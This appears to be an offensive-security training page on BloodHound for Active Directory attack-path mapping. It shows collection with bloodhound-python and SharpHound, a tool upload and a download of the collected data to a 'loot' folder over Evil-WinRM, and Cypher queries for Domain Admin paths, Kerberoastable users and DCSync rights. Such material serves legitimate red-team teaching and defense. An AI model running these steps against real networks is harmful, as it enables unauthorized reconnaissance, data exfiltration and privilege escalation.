



◆ OFFENSIVE SECURITY SERIES ◆

BLOODHOUND

AD Attack Path Mapping — SharpHound, Cypher Queries & DA Paths

SharpHound · BloodHound-Python · Neo4j · DA Paths · Kerberoast · DCSync

SharpHound

BH-Python

Neo4j

DA Paths

Kerberoastable

DCSync Rights

Owned Nodes

RedTeamGarage (RTG) | Offensive Security Education

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01 — OVERVIEW & INSTALL

BloodHound Setup

BloodHound maps Active Directory attack paths using graph theory. SharpHound (or BloodHound-python) collects data — users, groups, sessions, ACLs, trusts — and BloodHound's Neo4j-powered GUI visualises shortest paths to Domain Admin.

```
BloodHound - Install & Collection

# Install BloodHound and Neo4j
(kali)-[~]
kali $ sudo apt install bloodhound neo4j
Setting up neo4j (4.4.x) ...
Setting up bloodhound (4.3.1) ...

# Start Neo4j
(kali)-[~]
kali $ sudo neo4j start
Directories in use:
  home:      /usr/share/neo4j
  config:    /etc/neo4j
Starting Neo4j.
Started neo4j (pid:12345). It is available at http://localhost:7474/

# BloodHound-python (remote collection - no agent on target)
(kali)-[~]
kali $ pip install bloodhound
(kali)-[~]
kali $ bloodhound-python -u jdoe -p P@ssw0rd! -d domain.local -ns 10.10.10.100 -c All
INFO: Found AD domain: domain.local
INFO: Connecting to LDAP server: WIN-DC01.domain.local
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 45 computers
INFO: Found 187 users
INFO: Found 23 groups
INFO: Done in 00M 12S
INFO: Compressing output into 20240115123456_BloodHound.zip
```

Figure: BloodHound-python collects 45 computers, 187 users in 12 seconds — zip ready to import



02 — DATA COLLECTION

SharpHound on Target

```

SharpHound – Data Collection from Target

# SharpHound – run on Windows target for richer data
*Evil-WinRM* PS C:\> upload /opt/SharpHound.exe C:\Windows\Temp\SharpHound.exe
Info: Upload successful!
*Evil-WinRM* PS C:\> C:\Windows\Temp\SharpHound.exe -c All --zipfilename bloodhound_data.zip
2024-01-15T09:30:00.0000000+00:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release
of BloodHound
2024-01-15T09:30:01.0000000+00:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, S
ession, Trusts, ACL
2024-01-15T09:30:02.0000000+00:00|INFORMATION|Initializing SharpHound at 9:30 AM on 1/15/2024
2024-01-15T09:30:45.0000000+00:00|INFORMATION|Status: 45 objects finished (+45 0)/s -- Using 78 MB RAM
2024-01-15T09:31:02.0000000+00:00|INFORMATION|Enumeration finished in 00:01:02.1234567
2024-01-15T09:31:02.0000000+00:00|INFORMATION|Compressing data to C:\Windows\Temp\20240115093100_bloodhound_da
ta.zip
2024-01-15T09:31:02.0000000+00:00|INFORMATION|You can find the debug log at: C:\Windows\Temp\SharpHoundLog.log

# Download the zip back
*Evil-WinRM* PS C:\> download C:\Windows\Temp\20240115093100_bloodhound_data.zip /home/kali/loot/bh.zip
Info: Download successful!

# Import to BloodHound GUI
# BloodHound GUI → Upload Data → select bh.zip → Import
# Then: Analysis → Find Shortest Paths to Domain Admins

```

Figure: SharpHound collects full AD dataset in 62 seconds, zip downloaded for BloodHound import



03 — ANALYSIS & QUERIES

Attack Path Discovery

```
BloodHound – Key Queries & Analysis

# Key BloodHound Cypher queries
# Run in: BloodHound → Raw Query tab

# Find all DA attack paths from owned user
# MATCH p=shortestPath((u:User {name:"JDOE@DOMAIN.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p

# Find all Kerberoastable users
# MATCH (u:User {hasspn:true}) RETURN u.name, u.description

# Find computers where DA is logged in
# MATCH (n:User)-[:MemberOf]->(g:Group) WHERE g.name =~ "(?i)domain admins.*"
# WITH n MATCH p=(n)-[:HasSession]->(c:Computer) RETURN p

# Set owned nodes (mark as compromised)
# Right-click node → Mark User/Computer as Owned

# Mark high-value targets
# Right-click → Mark as High Value

# Pre-built analysis queries:
  Find all Domain Admins
  Find Shortest Paths to Domain Admins
  Find Computers with Unsupported OS
  Find AS-REP Roastable Users
  Find Kerberoastable Users with High Privileges
  Find Principals with DCSync Rights
  Find Users with Foreign Domain Group Membership
```

Figure: Pre-built queries find Kerberoastable accounts, DCSync rights, and DA sessions



04 — BLOODHOUND CHEAT SHEET

Quick Reference

BH-Python collect	bloodhound-python -u user -p pass -d domain.local -ns DC_IP -c All
SharpHound run	SharpHound.exe -c All --zipfilename bh.zip
Import data	BloodHound GUI → Upload Data → select zip
Find DA paths	Analysis → Find Shortest Paths to Domain Admins
Find Kerberoastable	MATCH (u:User {hasspn:true}) RETURN u.name
Find AS-REP roastable	MATCH (u:User {dontreqpreauth:true}) RETURN u.name
Find DCSync rights	MATCH (n)-[:DCSync AllExtendedRights GenericAll]->(d:Domain) RETURN n.name
DA sessions	Analysis → Find Computers where DA is Logged In
Mark owned	Right-click node → Mark as Owned (then rerun shortest path)
Find owned to DA	Analysis → Shortest Paths from Owned Principals to DA
GenericWrite targets	MATCH (u)-[:GenericWrite]->(c:Computer) RETURN u.name,c.name
RBCD candidates	Same as GenericWrite – use for RBCD attack
Find unconstrained	Analysis → Find Computers with Unconstrained Delegation
Start Neo4j	sudo neo4j start (browse: http://localhost:7474)
Start BloodHound	bloodhound (connect: bolt://localhost:7687)



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